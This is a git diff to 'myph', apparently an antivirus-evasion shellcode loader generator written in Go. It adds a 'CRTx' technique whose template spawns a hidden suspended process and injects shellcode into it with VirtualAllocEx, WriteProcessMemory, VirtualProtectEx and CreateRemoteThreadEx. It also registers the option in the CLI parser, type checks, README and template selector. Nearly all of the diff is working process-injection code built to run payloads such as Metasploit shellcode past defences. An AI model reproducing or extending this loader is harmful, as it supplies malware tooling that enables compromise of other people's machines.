diff --git a/README.md b/README.md
@@ -56,7 +56,7 @@ Flags:
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
- -t, --technique string shellcode-loading technique (allowed: CRT, CreateFiber, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+ -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall) (default "CRT")
-v, --version version for myph
Use "myph [command] --help" for more information about a command.
@@ -70,6 +70,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
- CreateThread
- Process hollowing
- CreateRemoteThread
+- CreateRemoteThreadEx
If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
diff --git a/TODO.txt b/TODO.txt
@@ -3,8 +3,6 @@
#############################
Templates:
- - CreateRemoteThreadEx
- - CreateFiber
- EtwpCreateEtwThread
Misc:
diff --git a/cli/parser.go b/cli/parser.go
@@ -271,7 +271,7 @@ func GetParser(opts *Options) *cobra.Command {
rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateFiber, ProcessHollowing, CreateThread, Syscall)")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall)")
rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
diff --git a/cli/types.go b/cli/types.go
@@ -15,6 +15,7 @@ const (
EncKindC20 encKind = "chacha20"
CRT technique = "CRT"
+ CRTx technique = "CRTx"
SYSCALL technique = "Syscall"
CreateFiber technique = "CreateFiber"
CreateThread technique = "CreateThread"
@@ -50,11 +51,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"Syscall\", \"CreateFiber\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
diff --git a/loaders/createRemoteThreadEx.go b/loaders/createRemoteThreadEx.go
@@ -0,0 +1,109 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCRTxTemplate(targetProcess string) string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_EXECUTE_READWRITE = 0x40
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+
+ VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
+ VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
+ WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
+ CreateRemoteThreadEx = kernel32.MustFindProc("CreateRemoteThreadEx")
+)
+
+func loadProcess(target string) *syscall.ProcessInformation {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+
+ commandLine, err := syscall.UTF16PtrFromString(target)
+ if err != nil {
+ panic(err)
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ commandLine,
+ nil,
+ nil,
+ false,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ nil,
+ nil,
+ &si,
+ &pi,
+ ); if err != nil {
+ panic(err)
+ }
+
+ return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte){
+
+ /* spawn target process */
+ process := loadProcess("%s")
+ oldProtectCfg := PAGE_READWRITE
+
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, _ := VirtualAllocEx.Call(
+ uintptr(process.Process),
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ )
+
+ /* overwriting process memory with our shellcode */
+ _, _, _ = WriteProcessMemory.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ /* changing permissions for our memory segment */
+ _, _, _ = VirtualProtectEx.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
+ )
+
+ /* load remote thread */
+ _, _, _ = CreateRemoteThreadEx.Call(
+ uintptr(process.Process),
+ 0,
+ 0,
+ baseAddr,
+ 0,
+ 0,
+ 0,
+ )
+}
+
+ `, targetProcess)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -12,6 +12,9 @@ func SelectTemplate(templateName string) func(string) string {
case "CRT":
return GetCRTTemplate
+ case "CRTx":
+ return GetCRTxTemplate
+
case "CreateThread":
return GetCreateThreadTemplate
| | | | | |